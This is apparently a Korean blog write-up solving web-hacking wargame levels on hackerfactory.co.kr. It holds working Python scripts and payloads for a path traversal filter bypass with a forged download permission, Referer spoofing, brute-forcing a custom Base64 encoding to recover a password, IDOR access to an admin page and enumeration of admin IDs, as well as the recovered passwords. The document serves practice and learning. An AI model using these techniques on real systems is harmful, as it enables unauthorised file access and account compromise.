http://www.hackerfactory.co.kr/
level 1,2,3 : 프록시로 전달되는 값을 잘 바꾸면 된다. 너무 간단해서 설명이 필요 없다.
level 4 : 파일 다운로드 취약점인데 ../가 필터링되있다. 단순히 ../는 한번만 지워주는거 같으므로
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//temp/hacktory.txt 경로를
다운받으면 된다.
level 5 : 글을 읽으려고 하면 막혀있는듯 싶으나 단순히 history.back(-1);로 앞페이지로 되돌려보낸다.
그러니 프록시로 history.back(-1);라인만 지우고 소스코드를 살펴보면 Utill.js라는 js 소스파일을
찾을수 있는데 내부에 들어가보면 관리자가 만든듯한 base64 인코딩과 디코딩이 있다.
대충 소스를 살펴보면 FileDownload 함수를 잘 실행시켜서 파일을 다운로드받으면 될것같다.
FileName = FileName + "," + DownloadAccessPerm
FileName = Base64.encode(FileName);
var DownloadActionMethod = "POST";
var DownloadActionPage = "HackDownAct.php";
를 잘 구성하면 되겠는데, DownloadAccessPerm은 N으로 세팅되어있는걸로 보아 Y로 바꾸면 된다는걸 알수있고, Base64.encode의 인자로는 '....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//temp/hacktory.txt,Y' 처럼 넣어주면 되겠다. 이 결과를 POST방식으로 보내주면 된다.
코딩.
# -*- encoding: cp949 -*- import PyV8 import urllib2, re session = 본인 세션 js=""" var Base64 = { // private property _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", // public method for encoding encode : function (input) { var output = ""; var chr1, chr2, chr3, enc1, enc2, enc3, enc4; var i = 0; while (i < input.length) { chr1 = input.charCodeAt(i++); chr2 = input.charCodeAt(i++); chr3 = input.charCodeAt(i++); enc1 = chr1 >> 2; enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); enc4 = chr3 & 63; if (isNaN(chr2)) { enc3 = enc4 = 64; } else if (isNaN(chr3)) { enc4 = 64; } output = output + this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4); } return output; }, // public method for decoding decode : function (input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); while (i < input.length) { enc1 = this._keyStr.indexOf(input.charAt(i++)); enc2 = this._keyStr.indexOf(input.charAt(i++)); enc3 = this._keyStr.indexOf(input.charAt(i++)); enc4 = this._keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } return output; } } FileName = "....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//temp/hacktory.txt" + "," + "Y"; FileName = Base64.encode(FileName); document.write(FileName); """ class mock_document(object): def __init__(self): self.value='' def write(self, *args): self.value += ''.join(str(i) for i in args) class Global(PyV8.JSClass): def __init__(self): self.document = mock_document() self.alert = mock_document() scope = Global() ctxt = PyV8.JSContext(scope) ctxt.enter() ctxt.eval(js) post = 'FileName='+scope.document.value def download_photo(filename,post): file_path = "%s%s" % ("C:\\Users\\Ko\\Documents\\Visual Studio 2012\\Projects\\PythonApplication37\\", filename) downloaded_image = file(file_path, "wb") req = urllib2.Request('http://www.hackerfactory.co.kr/wargame/war5/HackDownAct.php',post) req.add_header('Cookie',session) image_on_web = urllib2.urlopen(req) while True: buf = image_on_web.read() if len(buf) == 0: break downloaded_image.write(buf) downloaded_image.close() image_on_web.close() return file_path download_photo('answer.txt',post)
level 6 : 들어가면 글을 읽을수있는데 관리자글은 잠겨있다. 글을 보면 뒤에 ?idx=번호 를 보고 관리자는 ?idx=2001로 들어가면 됨을 알수있다. 근데 들어가보면 정상적인 경로로 접근하라고 한다. 정상적인 경로는
http://www.hackerfactory.co.kr/wargame/war6/board.php 에서 접근했을때의 경로이므로
Referer: http://www.hackerfactory.co.kr/wargame/war6/board.php를 요청보낼시 추가해주고 보내면 키가 나온다.
level 7 : 소스를 보면 관리자 글을 보려면 암호를 입력해야함을 알수 있다. 또 Utill.js를 발견할수 있는데, 내가 입력한 값을 암호화시킨값이 iRAJHaTRiRAJHaLLFBOwrXoLF6j2rSXC 와 같으면 됨을 추측할수있다.
그런데 encode함수를 잘 살펴보면 입력값은 모두 영대소문자 아스키로 가정하고 간단히 암호화해주는걸 알수있다. (모두 input.charCodeAt 함수를 거친다.) 정석대로라면 역으로 하나하나풀어나가야 할테지만 야매로는 암호를 3개씩 푸는데, 32~128사이의 아스키값을 다 대입해봐서 맞는 답이 나오면 그것을 키로 볼수 있다. 경우의 수도 3개 뽑을때마다 96*96*96으로 그리 많지 않다. 그래서 그냥 그렇게 했다.
# -*- encoding: cp949 -*- s = 'iRAJHaTRiRAJHaLLFBOwrXoLF6j2rSXC' _keyStr = "DUYZabcVWdQefGghijklmAnEFopqrHstKLuvXwRSxyz0IO12M34JN5B6789+PT/=C" answer = '' index = 0 while index < len(s): for chr1 in range(32,128): for chr2 in range(32,128): for chr3 in range(32,128): enc1 = _keyStr[chr1 >> 2]; enc2 = _keyStr[((chr1 & 3) << 4) | (chr2 >> 4)]; enc3 = _keyStr[((chr2 & 15) << 2) | (chr3 >> 6)]; enc4 = _keyStr[chr3 & 63]; if enc1==s[index] and enc2==s[index+1] and enc3==s[index+2] and enc4==s[index+3]: answer += chr(chr1)+chr(chr2)+chr(chr3) print 'yes!!' print answer,index index += 4 print answer
중간의 isNaN이 있는 부분은 파이썬에서 적합한 함수를 못찾아서 구현 못했다. isNaN부분을 살펴보니 해당 부분이 작동하면 결과값이 C가 나와야 하는데, 결과인 iRAJHaTRiRAJHaLLFBOwrXoLF6j2rSXC를 보면 C가 있는 부분은 맨 끝부분이므로 대충 게싱하고, 게싱을 못하면 그때 구현해보려고 했는데 다행히 쉽게 게싱이 잘됬다. 돌리면 BestOfBestHackerFacto가 나오는데 안뽑힌부분은 ry임을 눈치로 알수있다.
level 8 : 수정 페이지로 들어가면 ?id=guest인데 ?id=admin으로 변경하는걸로 admin의 수정페이지를 볼수있다. password가 **인데 크롬의 요소분석기로 보면 admin의 비밀번호는 HappyHacktoryGoGo임을 알수있다.
level 10 : 5000~6000이 관리자라고 주석에 써있는데 5000을 들어가면 아무것도 없다. 그러면 나머지 1000개를 들어가보면서 유효한 페이지를 찾으면 된다.
# -*- encoding: cp949 -*- import urllib2 for i in range(5000,6000): req = urllib2.Request('http://www.hackerfactory.co.kr/wargame/war10/MyPage.php','sid='+str(i)) req.add_header('cookie',본인 쿠키) page = urllib2.urlopen(req).read().decode('utf-8') if page.find('history.back(-1);') == -1: print 'find!!', i
소스를 돌려서 나오는 번호대로 들어가다보면 5232번이었나에 admin이 있다.
'webhacking > client' 카테고리의 다른 글
hackthis Intermediate 1~5, main (0) | 2015.03.19 |
---|---|
webhacking.kr 34, packer (0) | 2015.03.13 |
hackthis javascript 1~5 (0) | 2015.02.12 |
happy-security.de javascript 1~7,9,10 (0) | 2015.01.22 |
hack this site JavaScript 1~7 (0) | 2015.01.20 |